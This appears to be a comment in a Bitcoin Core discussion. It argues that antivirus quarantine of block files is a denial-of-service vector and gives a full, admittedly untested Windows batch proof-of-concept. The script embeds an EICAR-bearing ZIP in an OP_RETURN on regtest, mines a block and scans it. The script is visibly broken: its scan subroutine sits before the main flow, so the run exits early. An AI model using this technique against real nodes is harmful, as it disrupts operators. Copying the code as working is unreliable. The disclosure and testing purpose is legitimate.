Thanks — quick clarifications:• This isn’t a Core crash or fuzzing case. It’s an
operational DoS via quarantine: the AV/EDR sees signature-bearing bytes (here, a ZIP with EICAR)
inside the raw block file and quarantines or locks it. Core then hits IO/missing-file and the node stalls until re-download/reindex.
• OS-agnostic. The PoC works because many AVs carve/scan archives found inside larger binaries. That behavior exists on Linux (proved with ClamAV) and also on Windows/macOS in various engines. It’s about how scanners treat containers embedded in arbitrary files, not about executing anything.
• “Advanced endpoint software will only allow Bitcoin Core to access blk files” — some products can be tuned that way, but default/scheduled/on-access scans, backup scanners, or NAS-side scanners still quarantine. That’s downtime and operator friction, especially for non-enterprise node runners.
• The risk scales with ease/frequency. If OP_RETURN capacity is raised, it becomes easier to drop recognizable payloads (like ZIPs) that many engines scan by default. That’s the whole point of the repro:
block-level quarantine happens.
TL;DR: Not a protocol vulnerability; a repeatable ops disruption. I’ve posted a regtest script so anyone can verify on their setup.
Windows test script : Windows batch (.bat) test script that mirrors the Linux PoC. put it all in a file named BTC-test-win.bat, edit the AV configuration at the top, then double-click or run from cmd.
it will:
start a regtest node in a temp datadir (does not touch mainnet/testnet)
create a ZIP with the EICAR test file (safe)
embed that ZIP in OP_RETURN, mine 1 block
export the raw block and verify OP_RETURN is a real ZIP
scan the block file and the payload ZIP using your AV command
:: ============================ BTC-test-win.bat ============================
:: Repro: AV quarantines raw block via ZIP-in-OP_RETURN (regtest, safe EICAR)
:: - starts a regtest node (separate datadir; does not touch mainnet/testnet)
:: - creates a ZIP with the EICAR test file (harmless AV test)
:: - embeds ZIP in OP_RETURN, mines 1 block, exports raw block
:: - verifies OP_RETURN is a real ZIP, scans block + payload with your AV
@echo off
setlocal EnableExtensions EnableDelayedExpansion
:: -------- AV CONFIG (edit these) -----------------------------------------
:: Point AV_CMD to your scanner. Put "%FILE%" in AV_ARGS where the file path goes.
:: Example: ClamAV for Windows (adjust if your install path differs)
set "AV_CMD=C:\Program Files\ClamAV\clamscan.exe"
set "AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%"
:: Example: Microsoft Defender (uncomment one of these pairs and comment ClamAV above)
:: set "AV_CMD=%ProgramFiles%\Windows Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"
:: Alternate Defender path on some builds:
:: set "AV_CMD=%ProgramFiles%\Microsoft Defender\MpCmdRun.exe"
:: set "AV_ARGS=-Scan -ScanType 3 -File %FILE%"
:: -------- Bitcoin Core binaries (adjust if not in PATH) -------------------
set "BITCOIND=bitcoind.exe"
set "BITCOINCLI=bitcoin-cli.exe"
:: -------- Work dirs -------------------------------------------------------
for /f "usebackq tokens=*" %%t in (`
powershell -NoProfile -Command "(Get-Date).ToString('yyyyMMdd-HHmmss')"
`) do set "NOWSTAMP=%%t"
set "WORK=%CD%\btc-av-opreturn-%NOWSTAMP%"
set "DATADIR=%WORK%\datadir"
mkdir "%WORK%" 2>nul
mkdir "%DATADIR%" 2>nul
echo [*] Workdir: %WORK%
:: -------- helper: run AV on a file ---------------------------------------
:: usage: call :SCAN "C:\path\to\file"
:SCAN
set "_file=%~1"
set "_args=%AV_ARGS%"
set "_args=!_args:%%FILE%%=%_file%!"
echo [*] AV: "%AV_CMD%" !_args!
"%AV_CMD%" !_args!
exit /b
:: -------- start bitcoind (regtest) ---------------------------------------
echo [*] Starting bitcoind (regtest) with larger OP_RETURN...
start "bitcoind-regtest" /b "%BITCOIND%" -regtest -server ^
-datadir="%DATADIR%" -fallbackfee=0.0002 -datacarrier=1 -datacarriersize=4096 ^
-acceptnonstdtxn=1 -printtoconsole=0
:: wait for RPC
echo [*] Waiting for RPC...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwait getblockchaininfo >nul
:: -------- create wallet and mine funds -----------------------------------
echo [*] Creating wallet and mining 101 blocks...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -named createwallet wallet_name="ziptest" descriptors=true >nul 2>nul
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" loadwallet ziptest >nul 2>nul
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest getnewaddress`) do set "ADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 101 "%ADDR%" >nul
:: -------- make EICAR and ZIP (PowerShell) --------------------------------
set "EICAR=%WORK%\eicar.txt"
set "ZIP=%WORK%\eicar.zip"
echo [*] Creating EICAR and ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"$s='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';" ^
"Set-Content -LiteralPath '%EICAR%' -Value $s -NoNewline;" ^
"If(Test-Path '%ZIP%'){Remove-Item '%ZIP%'};" ^
"Compress-Archive -LiteralPath '%EICAR%' -DestinationPath '%ZIP%'"
:: -------- ZIP -> hex (for OP_RETURN) -------------------------------------
echo [*] Converting ZIP to hex for OP_RETURN...
for /f "usebackq tokens=*" %%H in (`
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"$b=[IO.File]::ReadAllBytes('%ZIP%');" ^
"$o=([System.Text.StringBuilder]::new());" ^
"foreach($x in $b){[void]$o.AppendFormat('{0:x2}',$x)};" ^
"$o.ToString()"
`) do set "ZIPHEX=%%H"
:: -------- create and send OP_RETURN tx -----------------------------------
echo [*] Creating OP_RETURN transaction...
setlocal DisableDelayedExpansion
set "JSON=[{""data"":""%ZIPHEX%""}]"
setlocal EnableDelayedExpansion
for /f "usebackq tokens=*" %%R in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" createrawtransaction "[]" "!JSON!"`) do set "RAW=%%R"
for /f "usebackq tokens=*" %%F in (`
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest fundrawtransaction "%RAW%" ^
^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "FUNDED=%%F"
for /f "usebackq tokens=*" %%S in (`
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" -rpcwallet=ziptest signrawtransactionwithwallet "%FUNDED%" ^
^| powershell -NoProfile -Command "(Get-Content -Raw) | ConvertFrom-Json | %%{ $_.hex }"
`) do set "SIGNED=%%S"
for /f "usebackq tokens=*" %%T in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" sendrawtransaction "%SIGNED%"`) do set "TXID=%%T"
echo [*] TXID: %TXID%
:: -------- mine it and export raw block -----------------------------------
echo [*] Mining 1 block...
for /f "usebackq tokens=*" %%A in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getnewaddress`) do set "MADDR=%%A"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" generatetoaddress 1 "%MADDR%" >nul
for /f "usebackq tokens=*" %%B in (`"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getbestblockhash`) do set "BHASH=%%B"
echo [*] Block: %BHASH%
set "BLOCKHEX=%WORK%\block.hex"
set "BLOCKBIN=%WORK%\block-with-zip.bin"
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getblock "%BHASH%" 0 > "%BLOCKHEX%"
echo [*] Converting block hex -> bin...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"$h=(Get-Content -Raw '%BLOCKHEX%').Trim();" ^
"$ba=New-Object byte[] ($h.Length/2);" ^
"for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
"[IO.File]::WriteAllBytes('%BLOCKBIN%',$ba)"
:: -------- extract OP_RETURN hex from the TX (no txindex needed) ----------
echo [*] Extracting OP_RETURN payload (hex)...
for /f "usebackq tokens=*" %%X in (`
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" getrawtransaction "%TXID%" true "%BHASH%" ^
^| powershell -NoProfile -Command ^
"$j=Get-Content -Raw ^| ConvertFrom-Json;" ^
"$nulldata=$j.vout ^| ? { $_.scriptPubKey.type -eq 'nulldata' };" ^
"if(!$nulldata){''} else {" ^
" $asm=$nulldata[0].scriptPubKey.asm;" ^
" ($asm -split ' ')[1]" ^
"}"
`) do set "OPHEX=%%X"
set "OPZIP=%WORK%\opreturn.zip"
echo [*] Writing OP_RETURN hex -> payload ZIP...
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
"$h='%OPHEX%';" ^
"$ba=New-Object byte[] ($h.Length/2);" ^
"for($i=0;$i -lt $ba.Length;$i++){ $ba[$i]=[Convert]::ToByte($h.Substring($i*2,2),16) };" ^
"[IO.File]::WriteAllBytes('%OPZIP%',$ba);" ^
"$m=Get-Content -Raw '%OPZIP%' -AsByteStream -TotalCount 4;" ^
"$hex=($m ^| ForEach-Object { $_.ToString('x2') }) -join '';" ^
"Write-Host ('[*] OP_RETURN ZIP magic: ' + $hex)"
:: -------- scan with your AV ---------------------------------------------
echo.
echo [*] Scanning with your AV command...
call :SCAN "%BLOCKBIN%"
call :SCAN "%OPZIP%"
call :SCAN "%EICAR%"
:: -------- done; stop node ------------------------------------------------
echo [*] Stopping bitcoind...
"%BITCOINCLI%" -regtest -datadir="%DATADIR%" stop >nul 2>nul
echo.
echo [DONE] Workdir: %WORK%
echo Block: %BHASH%
echo TXID: %TXID%
echo =======================================================================
exit /b
:: ========================== end BTC-test-win.bat =========================
notesEdit the AV config at the top:
ClamAV example (as prefilled):
AV_CMD=C:\Program Files\ClamAV\clamscan.exe
AV_ARGS=--infected --no-summary --scan-archive=yes %FILE%
Windows Defender example:
AV_CMD=C:\Program Files\Windows Defender\MpCmdRun.exe
AV_ARGS=-Scan -ScanType 3 -File %FILE%
Requires Bitcoin Core (30.0rc) for Windows (bitcoind.exe, bitcoin-cli.exe) in PATH or adjust the BITCOIND / BITCOINCLI variables to full paths.
Uses PowerShell to write EICAR, create ZIP, and handle hex/binary conversion and JSON parsing.
It runs only on regtest and writes everything under a timestamped btc-av-opreturn-... folder in your current directory.
I only have Linux so can't test it myself.